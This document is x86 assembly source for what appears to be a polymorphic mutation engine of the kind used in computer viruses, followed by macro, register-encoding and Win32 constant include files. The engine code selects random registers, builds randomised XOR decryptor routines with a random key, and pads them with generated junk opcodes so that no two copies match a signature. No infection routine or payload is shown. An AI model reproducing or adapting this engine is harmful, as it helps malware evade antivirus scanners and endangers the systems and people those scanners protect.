 offset2 INCER1
 add byte ptr [ebx+offset2INCER1],al
 xor eax,eax
 mov ah,byte ptr [ebx+offset2_R3_2]
 push eax
 shl ah,2                   ; Razryad*4
 add ah,byte ptr [ebx+offset2_R3_1]    ; Razryad*4+_R3_1    _R3_1 - nomer registra
 offset2 MOV_R3_L_KEY
 add byte ptr [ebx+offset2MOV_R3_L_KEY],ah
 pop edx
 push edx
 or dh,dh
 je_ Set1
 dec dh
 jmp @@l1
;--------------
 @TestR2&eR1:
  cmp byte ptr [ebx+offset2_R2],4
  jnl_ RE1&R2_44
 NoER1: jmp @GenerateCOMwKey
;-------------
 Set1: inc dh
 @@l1:  shl dh,1
 mov ax,10h
 imul dh
 mov cx,ax
 mov ax,8
 mov dl,byte ptr [ebx+offset2_R3_1]
 imul dl                 ; PEREVOD RAZRYADA NA 20H
 add al,byte ptr [ebx+offset2_ER1]
 add ax,080h
 add cx,ax
 offset2 R3_Hc
 mov byte ptr [ebx+offset2R3_Hc],cl
 offset2 MOV_BYTE_PTR_ER1_ADDONS2_R3_H
 mov byte ptr [ebx+offset2MOV_BYTE_PTR_ER1_ADDONS2_R3_H+1],cl
 mov dl,byte ptr [ebx+offset2_R2]
 offset2 movR2
 add byte ptr [ebx+offset2movR2],dl
 offset2 DECR2
 add byte ptr [ebx+offset2DECR2+1],dl
 pop edi  ; razryad
 ;push word ptr [COM1]
 @GenerateCOMwKey:
 call GenerateCOMwKey
 inc ebp
 or ebp,ebp
 je_ @TestR2&eR1
 jmp @_l2
 offset2 COM1
 RE1&R2_44: mov word ptr [ebx+offset2COM1],9090h
 @_l2:
 or edi,edi
 jne_ Set_0
 mov edi,100h
 jmp Rzryad_INVERS
 Set_0:
 xor edi,edi
 Rzryad_INVERS:

 push word ptr [ebx+offset2COM1]
 call GenerateCOMwKey
 pop  word ptr [ebx+offset2COM1]

 mov al,byte ptr [ebx+offset2XOR_R3_ADD]
 add al,byte ptr [ebx+offset2_R3_1]
 offset2 XOR_R3_1XR3_2
 add byte ptr [ebx+offset2XOR_R3_1XR3_2+1],al
 mov al,04h
 mov cl,byte ptr [ebx+offset2_R3_2]
 imul cl
 add byte ptr [ebx+offset2XOR_R3_1XR3_2+1],al
;@OR
  mov ax,9
  imul byte ptr [ebx+offset2_R2]
  offset2 @OR
  add byte ptr [ebx+offset2@OR+2],al
 mov eax,[ebx+offset2MemHandle1]
 mov edi,eax
 push edi
 xor eax,eax
 mov ecx,4096
MakeNois:
  push ecx
  push 0fffffh
  call random
 ;mov al,90h
  pop ecx
  stosb
  LOOP MakeNois
 pop edi
 xor ebp,ebp
 inc ebp
offset2 test_1
mov esi,ebx
add esi,offset2test_1
;cld
;movsw
;cld
;movsb
;
call Random10@GenerateTrashCommands
 ; call next
 push 50
 call random
 mov [esi+1],eax
 cld
 movsd
 movsb
 offset2 RelPoin
 mov [ebx+offset2RelPoin],edi
 add edi,eax
 ;
call Random10@GenerateTrashCommands
 ;popER1
 cld
 movsb
;
call Random10@GenerateTrashCommands
offset2 addonsPoint
mov [ebx+offset2addonsPoint],edi ;save addonsPoint
cld
movsd
movsw
; mov R2,SIZE2CRYPT
call Random10@GenerateTrashCommands
mov eax,[ebx+offset2SizeOfDecryptor]
mov word ptr [esi+2],ax
cld
movsd
;  MOV_R3_L_KEY
call Random10@GenerateTrashCommands
push 0ffh
call random
mov byte ptr [esi+1],al ;key
cld
movsw
; MOV R3_H ,BYTE PTR [ER1+ ADDONS2] size 6b
call Random10@GenerateTrashCommands
;mov al,03eh
;cld
;stosb
offset2 addons2Point
mov [ebx+offset2addons2Point],edi
cld
movsd
movsw
; COM1
call Random10@GenerateTrashCommands
 cld
 movsw
;XOR_R3_1XR3_2
call Random10@GenerateTrashCommands
cld
movsw
;MOV_BYTE_PTR_ER1_ADDONS2_R3_H
call Random10@GenerateTrashCommands
; mov al,03eh
; cld
; stosb
offset2 addons2_Point
mov [ebx+offset2addons2_Point],edi
cld
movsd
movsw
;  INCER1
call Random10@GenerateTrashCommands
cld
movsb
; dec r2
call Random10@GenerateTrashCommands
cld
movsw
;@OR
call Random10@GenerateTrashCommands
cld
movsw
movsb
;jnz_test_3
;call Random10
xor ebp,ebp
;call @GenerateTrashCommands
offset2 jnz_Point
mov [ebx+offset2jnz_Point],edi
cld
movsd
movsw
call Random10
inc ebp
call @GenerateTrashCommands
;cld
;movsb
; HacTPoika
  push edi
  mov eax,[ebx+offset2RelPoin]
  sub edi,eax
  push edi
  push edi
  call random
  mov esi,[ebx+offset2addonsPoint]
  mov dword ptr [esi+2],eax
  pop edi
  sub edi,eax
  mov esi,[ebx+offset2addons2Point]
  push esi
  mov dword ptr [esi+2],edi
  mov esi,[ebx+offset2addons2_Point]
  mov dword ptr [esi+2],edi
  pop esi
  mov eax,[ebx+offset2jnz_Point]
  push eax
  sub eax,esi
  add eax,06
  neg eax
  pop esi
  mov [esi+2],eax
  offset2 MemHandle1
  mov eax,[ebx+offset2MemHandle1]
  pop edi
  sub edi,eax
  mov eax,edi

 mov esi,ebx
 add esi,(offset test_1 - offset DINA -5)+((offset COMMANDSADD  - offset test_2)/4+1)*4-4
 mov ecx,(offset COMMANDSADD  - offset test_2)/4+1
@InitusL2:            ; Vostanovim skelet
 pop  dword ptr [esi] ;
 sub esi,4            ;
 loop @InitusL2       ;
  ret 8
;--------------------------------------------
Random10@GenerateTrashCommands:
call Random10
call @GenerateTrashCommands
ret
Random10:
 CommandCount EQU 6  ;
 push CommandCount
 call random
 mov ecx,eax
 or eax,eax
 jne_ @l12
 inc ecx
@l12:
ret
@GenerateTrashCommands:
 push esi
 push ecx
 call GenerateTrashCommand
 pop ecx
 pop esi
 loop @GenerateTrashCommands
 ret
GenerateTrashCommand:
           xor esi,esi
           or ebp,ebp
           jne_ NoFlags
           inc esi
           inc esi
NoFlags:
           mov eax,4
           sub eax,esi
           push eax
           call random
           add esi,offset trashcommand
           add esi,eax
           cmp byte ptr [esi],50h
           je_ @PushPop
           cmp byte ptr [esi],0ebh
           je_  NOr32
           push 03h
           call random
           test eax,1
           je_ NOr32
           mov eax,066h
           cld
           stosb
NOr32:     cld
           movsb
           dec esi
           cmp byte ptr [esi],0ebh
           je_  @jmp
           push 63
           call random
           add al,0c0h
           cld
           stosb
           ret
           jmpLength EQU 20
@jmp:      push jmpLength ;
           call random
           cld
           stosb
           add edi,eax
           ret
@PushPop:  cld
           movsw
           push 8
           call random
           add byte ptr [edi-1],al
           add byte ptr [edi-2],al
           ret
trashcommand: db 03Bh,085h,0EBh,50h,58h
;*******************************************************************
; If EBP=-1 then Bad Generate command
;*******************************************************************
NODX: inc esi
      dec ebp
      jmp @C
GenerateCOMwKey:
push ecx
push edi
push esi
xor ebp,ebp
cmp byte ptr [ebx+offset2_R2],4  ; ( ADD R3_L ,R2_L   IF NOT EBP OR ESI OR EDI ! <
jnl_ NODX
@C:
mov ax,20h
mov edx,edi    ; razryad
imul dh
mov ecx,eax             ; pereveli razryad registra R3_x (COM AH,xx)
mov ax,8                ;
mov dl,byte ptr [ebx+offset2_R3_1] ; preshli k COM R3_x,al
imul dl                 ;
add cx,ax               ;
                        ;
mov [ebx+offset2XOR_R3_ADD],cl ;
mov dl,byte ptr [ebx+offset2_R2]
add cL,dl  ;  4 or 0 ?
push ecx
push 0fffffh
call random
pop ecx
test eax,1
je_ nono
add cl,4
nono:
add byte ptr [ebx+offset2COM1+1] ,cl
push 05
call random
offset2 COMMANDSADD
mov al,byte ptr [ebx+offset2COMMANDSADD+eax]
mov byte ptr [ebx+offset2COM1],al
pop esi
pop edi
pop ecx
ret
;************************************************************************
random:
pop eax
pop edx
push edi
push edx
push eax
;RandSeed  dd 2394900h
;ww        dw 8405h
push ebx
pop  edi
xor eax,eax
mov ax,WORD PTR [edi+offset2RandSeed ]
mov bx,WORD PTR [edi+offset2RandSeed+2]
mov cx,ax
offset2 ww
mul word ptr [edi+offset2ww]
SHL cx,1
shl cx,1
shl cx,1
add dx,cx
add dx,bx
shl bx,1
shl bx,1
add dx,bx
add dh,bl
mov cl,05
shl bx,cl
add ax,0001
adc dx,0
mov WORD PTR [edi+offset2RandSeed],ax
mov WORD PTR [edi+offset2RandSeed+2],dx
mov Ebx,Esp
mov cx,dx
mul ss:word ptr [Ebx+4]
mov ax,cx
mov cx,dx
mul ss:word ptr [Ebx+4]
add ax,cx
adc dx,00
mov ax,dx
mov ebx,edi
pop edx
pop edi
pop edi
jmp edx
; generate registers
;-------------------------------------------------------
@ESP:
push 8
call random
mov byte ptr [ebx+offset2_ER1],al
cmp al,4
je_ @ESP
@ESP2:
push 8
call random
mov byte ptr [ebx+offset2_R2],al
cmp al,4
je_ @ESP2
cmp byte ptr [ebx+offset2_ER1],al
je_  @ESP2
@ESP3:
push 4
call random
mov byte ptr [ebx+offset2_R3_1],al
cmp byte ptr [ebx+offset2_ER1],al
je_ @ESP3
cmp byte ptr [ebx+offset2_R2],al
je_ @ESP3
PUSH 02
CALL random
MOV BYTE PTR [ebx+offset2_R3_2],AL
ret
EndDINA:
===== end   dinav1.inc =====

===== begin macro.inc =====
offset2 macro Arg,RelPoint
offset2&Arg EQU offset Arg - offset RelPoint
        endm
Dest macro Arg,RelPoint
Arg  EQU offset Arg - offset RelPoint
         endm
jmp_  macro lab
     local name
      db 0ebh
      db offset lab - offset name
    name:
     endm

jl_  macro lab
     local name
      db 07ch
      db offset lab - offset name
    name:
     endm
jle_  macro lab
     local name
      db 07eh
      db offset lab - offset name
     name:
     endm
jnl_  macro lab
     local name
      db 07Dh
      db offset lab - offset name
    name:
     endm
jg_  macro lab
     local name
      db 07fh
      db offset lab - offset name
    name:
     endm
jne_  macro lab
      local name
      db 075h
      db offset lab - offset name
    name:
     endm
je_  macro lab
     local name
      db 074h
      db offset lab - offset name
    name:
     endm
===== end   macro.inc =====

===== begin register.inc =====
; ER1,R2,R3,R3_L or R3_H ?
;ER1-EAX,ECX,EDX,EBX,(esp),EBP,ESI,EDI ->> 0,1,2,3,(4),5,6,7
;R2-AX,CX,DX,BX,(sp),BP,SI,DI          ->> 0,1,2,3,(4),5,6,7
;R3   ax,cx,dx,bx ->> 0,1,2,3
;R3_ -AL,CL,DL,BL,AH,CH,DH,BH  ->> 0,1,2,3,4,5,6,7
; ER1<>R2
; R3_ <>ER1 and  R3_<> R2

; R3_ -AL,BL,CL,DL,AH,BH,CH,DH
; R4_ -AL,BL,CL,DL,AH,BH,CH,DH
; R2-AX,BX,CX,BP,DX,DI,SI
rEAX EQU 0
rECX EQU 1
rEDX EQU 2
rEBX EQU 3
rESP EQU 4
rEBP EQU 5
rESI EQU 6
rEDI EQU 7
rAX EQU 0
rCX EQU 1
rDX EQU 2
rBX EQU 3
rSP EQU 4
rBP EQU 5
rSI EQU 6
rDI EQU 7
rAL EQU  0
_rCL EQU  1
rDL EQU  2
rBL EQU  3
rAH EQU  4
rCH EQU  5
rDH EQU  6
rBH EQU  7
===== end   register.inc =====

===== begin win32con.inc =====
NULL = 0
; GlobalAlloc flags
GMEM_FIXED      =   0000h
GMEM_MOVEABLE   =   0002h
GMEM_NOCOMPACT  =   0010h
GMEM_NODISCARD  =   0020h
GMEM_ZEROINIT   =   0040h
GMEM_MODIFY     =   0080h
GMEM_DISCARDABLE=   0100h
GMEM_NOT_BANKED =   1000h
GMEM_DDESHARE   =   2000h
GMEM_SHARE      =   2000h
GMEM_NOTIFY     =   4000h
GMEM_LOWER      =   GMEM_NOT_BANKED
GHND            =   GMEM_MOVEABLE+GMEM_ZEROINIT
GPTR            =   GMEM_FIXED+GMEM_ZEROINIT
;-----------
 FILE_ATTRIBUTE_READONLY     =    00000001h
 FILE_ATTRIBUTE_HIDDEN       =    00000002h
 FILE_ATTRIBUTE_SYSTEM       =    00000004h
 FILE_ATTRIBUTE_DIRECTORY    =    00000010h
 FILE_ATTRIBUTE_ARCHIVE      =    00000020h
 FILE_ATTRIBUTE_NORMAL       =    00000080h
 FILE_ATTRIBUTE_TEMPORARY    =    00000100h
;-----------
FILE_FLAG_WRITE_THROUGH         = 80000000h
FILE_FLAG_OVERLAPPED            = 40000000h
FILE_FLAG_NO_BUFFERING          = 20000000h
FILE_FLAG_RANDOM_ACCESS         = 10000000h
FILE_FLAG_SEQUENTIAL_SCAN       = 08000000h
FILE_FLAG_DELETE_ON_CLOSE       = 4000000h
FILE_FLAG_BACKUP_SEMANTICS      = 02000000h
FILE_FLAG_POSIX_SEMANTICS       = 01000000h

;------------------------
CREATE_NEW         = 1
CREATE_ALWAYS      = 2
OPEN_EXISTING      = 3
OPEN_ALWAYS        = 4
TRUNCATE_EXISTING  = 5

;-----------
GENERIC_READ               = 80000000h
GENERIC_WRITE              = 40000000h
FILE_SHARE_READ            = 00000001h
FILE_SHARE_WRITE           = 00000002h
;-----------
 PAGE_NOACCESS          = 01h
 PAGE_READONLY          = 02h
 PAGE_READWRITE         = 04h
 PAGE_WRITECOPY         = 08h
 PAGE_EXECUTE           = 10h
 PAGE_EXECUTE_READ      = 20h
 PAGE_EXECUTE_READWRITE = 40h
 PAGE_EXECUTE_WRITECOPY = 80h
 PAGE_GUARD             = 100h
 PAGE_NOCACHE           = 200h
;-------------------
FILE_MAP_WRITE = 2
FILE_MAP_Read  = 4
;-------------------
 NORMAL_PRIORITY_CLASS      = 00000020h
 IDLE_PRIORITY_CLASS        = 00000040h
 HIGH_PRIORITY_CLASS        = 00000080h
 REALTIME_PRIORITY_CLASS    = 00000100h
;--------------------
EXCEPTION_DEBUG_EVENT      = 1
CREATE_THREAD_DEBUG_EVENT  = 2
CREATE_PROCESS_DEBUG_EVENT = 3
EXIT_THREAD_DEBUG_EVENT    = 4
EXIT_PROCESS_DEBUG_EVENT   = 5
LOAD_DLL_DEBUG_EVENT       = 6
UNLOAD_DLL_DEBUG_EVENT     = 7
OUTPUT_DEBUG_STRING_EVENT  = 8
RIP_EVENT                  = 9
;--------------------
PROCESS_ALL_ACCESS  =   0F0000h or 00100000h or 0FFFh
;--------------------
===== end   win32con.inc =====
